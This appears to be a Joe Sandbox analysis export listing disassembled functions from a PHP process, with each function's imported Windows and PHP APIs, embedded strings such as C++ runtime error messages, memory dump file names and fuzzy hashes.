Attempted a typeid of nullptr pointer!, xrefs: 00007FFE1A526385
Bad read pointer - no RTTI data!, xrefs: 00007FFE1A5263A8

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: FileHeader$ExceptionFindInstanceRaiseTargetType
String ID: Access violation - no RTTI data!$Attempted a typeid of nullptr pointer!$Bad dynamic_cast!$Bad read pointer - no RTTI data!
API String ID: 1852475696-928371585
Opcode ID: 28c61b586168f291ea3da12388abcaf5ca085dd19308925c811ceb375cbad7b4
Instruction ID: 517b4fe920719e097fa46e572d54831bb320f4f0e13795125759ba1275bba776
Opcode Fuzzy Hash: 28c61b586168f291ea3da12388abcaf5ca085dd19308925c811ceb375cbad7b4
Instruction Fuzzy Hash: 4E51606271DE86D2EE20CBA2E4805B96361FF96FA4F4045B3EA4E07A75DE3CE505C710

Function 00007FFE1A526B5C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FFE1A526D1B,?,?,00000000,00007FFE1A526B4C,?,?,?,?,00007FFE1A526885), ref: 00007FFE1A526BE1
GetLastError.KERNEL32(?,?,?,00007FFE1A526D1B,?,?,00000000,00007FFE1A526B4C,?,?,?,?,00007FFE1A526885), ref: 00007FFE1A526BEF
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FFE1A526D1B,?,?,00000000,00007FFE1A526B4C,?,?,?,?,00007FFE1A526885), ref: 00007FFE1A526C08
LoadLibraryExW.KERNEL32(?,?,?,00007FFE1A526D1B,?,?,00000000,00007FFE1A526B4C,?,?,?,?,00007FFE1A526885), ref: 00007FFE1A526C1A
FreeLibrary.KERNEL32(?,?,?,00007FFE1A526D1B,?,?,00000000,00007FFE1A526B4C,?,?,?,?,00007FFE1A526885), ref: 00007FFE1A526C60
GetProcAddress.KERNEL32(?,?,?,00007FFE1A526D1B,?,?,00000000,00007FFE1A526B4C,?,?,?,?,00007FFE1A526885), ref: 00007FFE1A526C6C

Strings

api-ms-, xrefs: 00007FFE1A526C01

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProcwcsncmp
String ID: api-ms-
API String ID: 916704608-2084034818
Opcode ID: 936032d40fa96b032ac86a2d89c5a398f87e2a2d839e469644f99c68bf1566a7
Instruction ID: 5118176ca8eb9a7fbabada53860e18502a2eb45636ac7fa0b0029848f37e27fa
Opcode Fuzzy Hash: 936032d40fa96b032ac86a2d89c5a398f87e2a2d839e469644f99c68bf1566a7
Instruction Fuzzy Hash: FC31AE21B1EF41C1EE16AB9398005B532A5FF8AFB0F5905B7DD1D1ABA1EF3CE5458210

Function 00007FF7498C59A0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

_ftime64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF7498C59C9
_ctime64_s.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF7498C59DE
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C5A63
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C5A7B

Strings

[%s] %s, xrefs: 00007FF7498C5A74
unknown, xrefs: 00007FF7498C5A4F
etched, xrefs: 00007FF7498C59E8

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func_ctime64_s_ftime64fprintf
String ID: [%s] %s$etched$unknown
API String ID: 3974593538-288210727
Opcode ID: 711c989eaf5095a6ce6268eb38f1218eb3a9d0acb8db87d083ca41e06770af98
Instruction ID: 3468a2da99a2ad69612d919e173323284aeab03bacec63fc6d553ad373319282
Opcode Fuzzy Hash: 711c989eaf5095a6ce6268eb38f1218eb3a9d0acb8db87d083ca41e06770af98
Instruction Fuzzy Hash: B321916192DB82C5EB10BF19E440675F378EF98790FD01235EA6E427A5DF2CE0A0CB20

Function 00007FFE1A522818 Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A5228D0
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A5228EE
__AdjustPointer.LIBCMT ref: 00007FFE1A52292F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A52293C
__AdjustPointer.LIBCMT ref: 00007FFE1A522978
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A52298D
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A5229D2
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A5229D9

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: cf0ce418dbf8095189d4875bbd922365259c44d693191a2e82a2bfde5589004d
Instruction ID: 241caae712970f75e3c1c9cd5adc62efc0acb62da631b1025390f39233bbd73c
Opcode Fuzzy Hash: cf0ce418dbf8095189d4875bbd922365259c44d693191a2e82a2bfde5589004d
Instruction Fuzzy Hash: 7251AB7AB4DF42D1EA659BA2944467C62A6BF46FE0F0940F7DA4D067B5DE3CE482C300

Function 00007FFE1A5229FC Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A522AB6
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A522AD5
__AdjustPointer.LIBCMT ref: 00007FFE1A522B16
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A522B23
__AdjustPointer.LIBCMT ref: 00007FFE1A522B5F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A522B74
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A522BB9
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A522BC0

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: 33b9a28e85c1583a9e53f416898540066328f1663c9e5eff4cdc8514e51169f9
Instruction ID: d3ff09a3401612fad7d4e6f73e8668af2596c25b7395d74f60401984b4e0e494
Opcode Fuzzy Hash: 33b9a28e85c1583a9e53f416898540066328f1663c9e5eff4cdc8514e51169f9
Instruction Fuzzy Hash: AD519E26B0EF42C1EA658F93944467C63A6AF46FE0B0984F7DA4D06BA4DF7CE4428310

Function 00007FF7498C8610 Relevance: 12.1, APIs: 8, Instructions: 83COMMON

Download Yara Rule

APIs

virtual_getcwd.PHP8TS ref: 00007FF7498C8667
zend_stream_init_filename.PHP8TS ref: 00007FF7498C8678
__intrinsic_setjmp.VCRUNTIME140 ref: 00007FF7498C86C4
zend_execute_scripts.PHP8TS ref: 00007FF7498C86DF
zval_ptr_dtor.PHP8TS ref: 00007FF7498C86FE
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C8726
virtual_chdir.PHP8TS ref: 00007FF7498C8738
_efree@@8.PHP8TS ref: 00007FF7498C8747

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __intrinsic_setjmp_efree@@8virtual_chdirvirtual_getcwdzend_destroy_file_handlezend_execute_scriptszend_stream_init_filenamezval_ptr_dtor
String ID:
API String ID: 4082177501-0
Opcode ID: 9886735fd19537ddcc64757c30396f091716d4bdd422e183795669e6344f89ca
Instruction ID: 35ba34a1cc1831483321df346db4e804a43572638407ba27d2fe8b4930bd8d10
Opcode Fuzzy Hash: 9886735fd19537ddcc64757c30396f091716d4bdd422e183795669e6344f89ca
Instruction Fuzzy Hash: 67413C36608B85D9EB21FF29D8502E977B4FB58B88F848032DA4E47758DF38E559C710

Function 00007FFE1A5257C0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 131COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FFE1A525889
_local_unwind.LIBVCRUNTIME ref: 00007FFE1A52592C

Strings

csm, xrefs: 00007FFE1A52596F
MOC, xrefs: 00007FFE1A525802
csm, xrefs: 00007FFE1A525824
RCC, xrefs: 00007FFE1A52580E

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: FileHeader_local_unwind
String ID: MOC$RCC$csm$csm
API String ID: 2627209546-1441736206
Opcode ID: 48d146a85fba6cc68383d4a357e19a92ddcb549a58e0a70336f33e234ca841ed
Instruction ID: d45995bf7c5bd6b8427faeb890c8fa61775ecc677fad3825a394def6521a80df
Opcode Fuzzy Hash: 48d146a85fba6cc68383d4a357e19a92ddcb549a58e0a70336f33e234ca841ed
Instruction Fuzzy Hash: 67517FB2B4DA42C6EB609BA6904137D26A2FF46FB8F1410F3DA4E566A5CF3CE445C601

Function 00007FFE1A52E51C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52E590
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52E59F

Part of subcall function 00007FFE1A52C7AC: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C83D
Part of subcall function 00007FFE1A52C7AC: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52C876
Part of subcall function 00007FFE1A52C7AC: DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52CBA2

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52E63F
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52E64F
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52E6FB

Strings

{for , xrefs: 00007FFE1A52E5C8

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+
String ID: {for
API String ID: 2943138195-864106941
Opcode ID: 1d198ef7d00c42b7b5d6345a2de299b4b6d6df6816ee118919713e1a20d08d6c
Instruction ID: 0b0e24e90d08d12f7cb0697a31e1a35e092360b5fb7136d3962f28436eb117ef
Opcode Fuzzy Hash: 1d198ef7d00c42b7b5d6345a2de299b4b6d6df6816ee118919713e1a20d08d6c
Instruction Fuzzy Hash: 635156B2B0CA85A9E7018F66D4813F827A2EB56B58F4080F7EA4C07BA5DF7CE554C340

Function 00007FF7498C9020 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 109COMMON

Download Yara Rule

APIs

_efree@@8.PHP8TS ref: 00007FF7498C916B
zend_hash_index_del@@16.PHP8TS ref: 00007FF7498C9195

Strings

%s Closing, xrefs: 00007FF7498C9175
%s Closed without sending a request; it was probably just an unused speculative preconnection, xrefs: 00007FF7498C9135
%s Invalid request (%s), xrefs: 00007FF7498C9150
Unexpected EOF, xrefs: 00007FF7498C9107

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: _efree@@8zend_hash_index_del@@16
String ID: %s Closed without sending a request; it was probably just an unused speculative preconnection$%s Closing$%s Invalid request (%s)$Unexpected EOF
API String ID: 126594957-4231326387
Opcode ID: f196a74f18a23b67ecf4fefdc62fade8b532747b7616117ed819e3a6f1bdf7ca
Instruction ID: 9c1d602a20083ef85d2b062f3c225f11b2bcd1f592bc8cef0a3593515795fb95
Opcode Fuzzy Hash: f196a74f18a23b67ecf4fefdc62fade8b532747b7616117ed819e3a6f1bdf7ca
Instruction Fuzzy Hash: 1241C122B1CB82C2EB14BF5EE4441BAA379FB84784F844176DB5E47B89DF2DE4618310

Function 00007FFE1A52DB20 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE1A52D237), ref: 00007FFE1A52DBE4
DName::DName.LIBVCRUNTIME ref: 00007FFE1A52DC03

Strings

void, xrefs: 00007FFE1A52DB66
`template-parameter, xrefs: 00007FFE1A52DC11

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: NameName::atol
String ID: `template-parameter$void
API String ID: 2130343216-4057429177
Opcode ID: 99e8a3aeda194b23daaeb8e320394810a7e422b566c05f224998a45ae8f9928a
Instruction ID: 2989450db3bab62e3afa006d288646c10c80a3f7c6e8fdcf1cdee310f5e2a8ae
Opcode Fuzzy Hash: 99e8a3aeda194b23daaeb8e320394810a7e422b566c05f224998a45ae8f9928a
Instruction Fuzzy Hash: 43412922B0CF56C8FB008BA2D8512BD2371BF85BA8F5441B7DE0D67A65DF789545C740

Function 00007FFE1A5288FC Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFE1A528748: Replicator::operator[].LIBVCRUNTIME ref: 00007FFE1A5287C7

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A5289AE

Strings

,<ellipsis>, xrefs: 00007FFE1A52898C
,..., xrefs: 00007FFE1A52897C
void, xrefs: 00007FFE1A528A20
<ellipsis>, xrefs: 00007FFE1A5289FB
..., xrefs: 00007FFE1A5289EB

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 1405650943-2211150622
Opcode ID: 2d64ae1c8566e52113f7ea7f0519ec7cc2fdd75a0b800f0bfe5adc2fd519a96a
Instruction ID: 1cf0cf310469407692c57d83767f517bac0008860358f6d8c1fbfddfacc6a94d
Opcode Fuzzy Hash: 2d64ae1c8566e52113f7ea7f0519ec7cc2fdd75a0b800f0bfe5adc2fd519a96a
Instruction Fuzzy Hash: 08413AA2B0CF46C8F7128BA6D8402BC37A1BB4AB68F4445F7EA4C12764DF7CA545C311

Function 00007FFE1A52A704 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A7F5

Strings

int , xrefs: 00007FFE1A52A778
short , xrefs: 00007FFE1A52A787
char , xrefs: 00007FFE1A52A790
unsigned , xrefs: 00007FFE1A52A7C9
long , xrefs: 00007FFE1A52A769

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+
String ID: char $int $long $short $unsigned
API String ID: 2943138195-3894466517
Opcode ID: d3dd5d4b7b7d9da7287822680feab4e52e9236e75075d12403fdf1d6dd1a2c6b
Instruction ID: 1dcc1fcff546022d7cfc947553c0085dce3abedaba59e326475b69d91a8a5795
Opcode Fuzzy Hash: d3dd5d4b7b7d9da7287822680feab4e52e9236e75075d12403fdf1d6dd1a2c6b
Instruction Fuzzy Hash: 81313B62F1CE46C8F7018B6AD8543BC27B1BB46B68F5881B7CA0C02AA8DF3CA544C750

Function 00007FF7498CBB40 Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 34COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7498CBB68

Strings

Unknown error code, xrefs: 00007FF7498CBB5C
Not available on this OS, xrefs: 00007FF7498CBBA8
Not initialized correctly, xrefs: 00007FF7498CBB9C
Buffer not contiguous, xrefs: 00007FF7498CBB90
Success, xrefs: 00007FF7498CBBB4
Windows error code: %lu, xrefs: 00007FF7498CBB71

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: ErrorLast
String ID: Buffer not contiguous$Not available on this OS$Not initialized correctly$Success$Unknown error code$Windows error code: %lu
API String ID: 1452528299-4100623288
Opcode ID: 81c357af6c1408623f29115be5d9cad58a7809e2a75961b1e48677b4cf867a2f
Instruction ID: 621862ee421575b36c986e17bd28e8d476c5d00890338f32cbfba98d23efcf91
Opcode Fuzzy Hash: 81c357af6c1408623f29115be5d9cad58a7809e2a75961b1e48677b4cf867a2f
Instruction Fuzzy Hash: D7F0E779E4DA02D9EA587F1D98A50B4963CBFC5308FC4027AC21D02A75DE1CF6BAC724

Function 00007FF7498C6B40 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

zend_strndup@@16.PHP8TS(?,0000000100000001,0000000100000001,00007FF7498C6D74,?,?,?,?,0000000100000001,00007FF7498CB8D0), ref: 00007FF7498C6B66
php_raw_url_decode.PHP8TS(?,?,?,?,0000000100000001,00007FF7498CB8D0), ref: 00007FF7498C6B88
memmove.VCRUNTIME140(?,?,?,?,0000000100000001,00007FF7498CB8D0), ref: 00007FF7498C6BDE
memmove.VCRUNTIME140(?,?,?,?,0000000100000001,00007FF7498CB8D0), ref: 00007FF7498C6C79
memmove.VCRUNTIME140(?,?,?,?,0000000100000001,00007FF7498CB8D0), ref: 00007FF7498C6CB9
memmove.VCRUNTIME140(?,?,?,?,0000000100000001,00007FF7498CB8D0), ref: 00007FF7498C6CEF

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: memmove$php_raw_url_decodezend_strndup@@16
String ID:
API String ID: 3041052580-0
Opcode ID: 1f84f3afe3a0470136ba4bb7014c1384d7f273fa477e0fbb74a8c1c596acbfb0
Instruction ID: d7e417346df807f1e39253a8ff31f9b58f025d9981d142b08c70fd3cf304d95c
Opcode Fuzzy Hash: 1f84f3afe3a0470136ba4bb7014c1384d7f273fa477e0fbb74a8c1c596acbfb0
Instruction Fuzzy Hash: 0A51B251A0D7DB85FE217E29D60C278E6B9EB15FD1F988430CA4D07B86CF7DA4628321

Function 00007FFE1A526570 Relevance: 9.1, APIs: 6, Instructions: 84stringCOMMON

Download Yara Rule

APIs

__unDName.LIBVCRUNTIME ref: 00007FFE1A5265C6
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE1A526609
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE1A526633
InterlockedPushEntrySList.KERNEL32 ref: 00007FFE1A526650
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE1A52665C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE1A526665

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: free$EntryInterlockedListNamePush__unmallocstrcpy_s
String ID:
API String ID: 3741236498-0
Opcode ID: 15fe56e746848034ceae3c74ae24cd98c02c43889dad90caa4cb656d1d360567
Instruction ID: b7e9943dd18dce4e02c9b1b47a4fbf3beeffe7fbccfae958ed13b44c01cd3b02
Opcode Fuzzy Hash: 15fe56e746848034ceae3c74ae24cd98c02c43889dad90caa4cb656d1d360567
Instruction Fuzzy Hash: 6431A122B1DB9180EA118B66A80457923A5FF4AFE4F5946B3DE2D037A0EE3DE442C350

Function 00007FFE1A523AEC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1A5269C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A5225CE), ref: 00007FFE1A5269CE

EncodePointer.KERNEL32 ref: 00007FFE1A523B5C
_CallSETranslator.LIBVCRUNTIME ref: 00007FFE1A523BA7
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A523DD5

Strings

RCC, xrefs: 00007FFE1A523B78
MOC, xrefs: 00007FFE1A523B70

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 8f0da28b834415bf94a2588a677a7c1d22b03c176692cab6c1aa6134d6a9ba6e
Instruction ID: e4c58c50d9da9494374e432403a4b4f1002112c543465b739f2966fff10d8f3d
Opcode Fuzzy Hash: 8f0da28b834415bf94a2588a677a7c1d22b03c176692cab6c1aa6134d6a9ba6e
